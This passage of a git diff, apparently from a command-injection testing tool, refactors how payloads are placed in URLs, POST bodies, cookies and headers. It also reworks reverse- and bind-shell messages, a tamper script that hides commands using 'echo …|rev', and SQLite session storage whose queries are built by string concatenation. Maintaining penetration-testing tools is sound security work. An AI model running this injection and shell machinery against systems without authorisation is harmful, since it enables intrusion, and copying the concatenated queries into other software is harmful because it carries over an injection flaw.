header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return user_agent """ The referer based injection. """ def specify_referer_parameter(referer): - settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") + header_name = settings.REFERER + settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return referer """ The host based injection. """ def specify_host_parameter(host): - settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return host """ @@ -708,6 +768,12 @@ def specify_host_parameter(host): """ def specify_custom_header_parameter(header_name): header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] + return header_name # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5613b9f785..8fc20e6d42 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -153,9 +153,9 @@ def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" - info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + info_msg = "Setting pair of credentials '" + info_msg += menu.options.auth_cred + "' from stored session." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: @@ -169,7 +169,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -198,7 +198,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -253,9 +253,8 @@ def estimate_response_time(url, timesec, http_request_method): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == settings.OS.WINDOWS : - timesec = timesec + 1 - + # if settings.TARGET_OS == settings.OS.WINDOWS : + # timesec = timesec + 1 return timesec, url_time_response """ @@ -327,7 +326,7 @@ def request_failed(err_msg): err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " - if settings.MULTI_TARGETS or settings.CRAWLING: + if settings.CRAWLING: err_msg += "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: @@ -416,6 +415,60 @@ def get_request_response(request): return response +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATIVE_ATTACK: + start = 0 + end = 0 + start = time.time() + + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) + #data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + else: + data = checks.process_injectable_value(payload, menu.options.data) + # if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""): + # data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATIVE_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response + + return response, vuln_parameter + """ Check if target host is vulnerable. (Cookie-based injection) """ @@ -435,9 +488,11 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = checks.payload_fixation(payload) # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, payload)) + cookie = checks.process_injectable_value(payload, menu.options.cookie) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)) + # else: + request.add_header(settings.COOKIE, cookie) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -609,10 +664,10 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) + # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) + # else: + request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -826,97 +881,49 @@ def url_reload(url, timesec): response = urllib.urlopen(url) return response -""" -Check if target host is vulnerable. -""" -def init_injection(payload, http_request_method, url): - if settings.TIME_RELATIVE_ATTACK: - start = 0 - end = 0 - start = time.time() - - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - payload = payload.replace("#","%23") - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - else: - parameter = menu.options.data - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - vuln_parameter = parameters.vuln_POST_param(parameter, url) - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - headers.do_check(request) - response = get_request_response(request) - - if settings.TIME_RELATIVE_ATTACK: - end = time.time() - response = int(end - start) - else: - exec_time = response - - return response, vuln_parameter - """ Calculate the time relative execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" + ")}", ")" + ")}") - + payload, prefix = parameters.prefixes(payload, prefix) + payload, suffix = parameters.suffixes(payload, suffix) + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) - + # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter("") + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: + elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) + vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: + elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) + vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: + elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_host_parameter(menu.options.host) + vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) exec_time = host_injection(url, vuln_parameter, payload, http_request_method) - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - if not vuln_parameter: - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) else: exec_time, vuln_parameter = init_injection(payload, http_request_method, url) - return exec_time, vuln_parameter + return exec_time, vuln_parameter, payload, prefix, suffix # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 3b28cfd9ae..2bf67625e6 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -48,14 +48,6 @@ def shell_options(option): else: return option -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -463,7 +455,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option @@ -473,7 +465,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 89779a76d0..a373eb1d75 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -63,14 +63,6 @@ def gen_payload_msg(payload): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -670,7 +662,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option @@ -680,7 +672,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index c57458f03b..c4b952c2b2 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -30,12 +30,12 @@ def tamper(payload): if settings.EXPLOITATION_PHASE: - if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: if settings.USE_BACKTICKS: - rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`" + rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`" else: - rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index bfffdc823f..4b07d3f391 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -34,6 +34,13 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Success msg. +""" +def shell_success(option): + info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Invalid cmd output """ diff --git a/src/utils/logs.py b/src/utils/logs.py index 4afd94ecfc..1407b5fb95 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -77,7 +77,6 @@ def logs_filename_creation(url): Create log files """ def create_log_file(url, output_dir): - host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" logs_path = output_dir + host @@ -99,7 +98,7 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = logs_path + "session.db" # Load command history - if settings.LOAD_SESSION == True: + if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY): checks.load_cmd_history() # The logs filename construction. @@ -200,9 +199,11 @@ def log_traffic(header): Print logs notification. """ def print_logs_notification(filename, url): - checks.save_cmd_history() + if os.path.exists(settings.CLI_HISTORY): + checks.save_cmd_history() if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: - logs_notification(filename) + if not settings.LOAD_SESSION: + logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index b0f81f24e6..18f9721f78 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -540,8 +540,7 @@ def banner(): detection.add_option("--level", dest="level", - type="int", - default=1, + default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") detection.add_option("--skip-calc", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6c92d5f736..28c885b2c7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -30,6 +30,11 @@ """ no_such_table = False +""" +""" +def split_url(url): + return url.split("?")[0] + """ Generate table name for SQLite3 db. """ @@ -66,8 +71,7 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Unable to flush the session file." + str(err_msg).title() + err_msg = "Unable to flush the session file. " + str(err_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: @@ -82,38 +86,39 @@ def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);") + query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \ + "id NOT IN (SELECT MAX(id) FROM " + \ + table_name(url) + "_ip GROUP BY technique);" + conn.execute(query) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, exec_time, output_length, is_vulnerable) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\ + "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ int(url_time_response), int(timesec), int(exec_time), \ - int(output_length), str(is_vulnerable))) + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: @@ -123,7 +128,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except sqlite3.DatabaseError as err_msg: checks.error_loading_session_file() @@ -131,117 +136,127 @@ def injection_point_importation(url, technique, injection_type, separator, shell """ Export successful applied techniques from session file. """ -def applied_techniques(url, http_request_method): - try: +def applied_techniques(url, http_request_method): + try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if not menu.options.tech: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ - "ORDER BY id DESC;") - - if settings.TESTABLE_PARAMETER: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - else: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - values = [] - for session in applied_techniques: - if "tempfile" in session[0][:8]: - settings.TEMPFILE_BASED_STATE = True - session = session[0][4:] - elif "dynamic" in session[0][:7]: - settings.EVAL_BASED_STATE = True - session = session[0][13:] - values += session[0][:1] - applied_techniques = ''.join(list(set(values))) - return applied_techniques + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + techniques.append(technique) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + return techniques except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques """ -Export successful applied techniques from session file. +Export successful applied injection level from session file. """ def applied_levels(url, http_request_method): + level = settings.DEFAULT_INJECTION_LEVEL + try: + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + http_header = session[12] + level = int(session[18]) + if http_header: + if http_header == settings.COOKIE.lower(): + level = settings.COOKIE_INJECTION_LEVEL + else: + level = settings.HTTP_HEADER_INJECTION_LEVEL + return level + except sqlite3.OperationalError as err_msg: + settings.LOAD_SESSION = None + return level + except: + settings.LOAD_SESSION = None + return level + +""" +Export successful injection points from session file. +""" +def check_stored_injection_points(url, check_parameter, http_request_method): + _ = False try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query).fetchall() + # vuln_parameter = check_parameter + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + url = session[1] + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + if technique in menu.options.tech: + _ = True + techniques.append(technique) + cookie = session[20] + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + if _: + vuln_parameter = session[6] + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + if not settings.MULTI_TARGETS: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return url, vuln_parameter + else: + settings.LOAD_SESSION = False + return url, vuln_parameter else: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - - for session in applied_level: - return session[0] - + settings.LOAD_SESSION = None + return url, check_parameter except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter """ Export successful injection points from session file. """ -def injection_point_exportation(url, http_request_method): +def export_injection_points(url, technique, injection_type, http_request_method): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ - table_name(url) + "_ip' AND type = 'table';") - if result: - # if menu.options.tech[:1] == "c": - # select_injection_type = "R" - # elif menu.options.tech[:1] == "e": - # settings.EVAL_BASED_STATE = True - # select_injection_type = "R" - # elif menu.options.tech[:1] == "t": - # select_injection_type = "B" - # else: - # select_injection_type = "S" - # if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - # check_injection_technique = "t" - # elif settings.EVAL_BASED_STATE and select_injection_type == "R": - # check_injection_technique = "d" - # else: - # check_injection_technique = menu.options.tech[:1] - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - - else: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "http_header = '" + settings.HTTP_HEADER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER 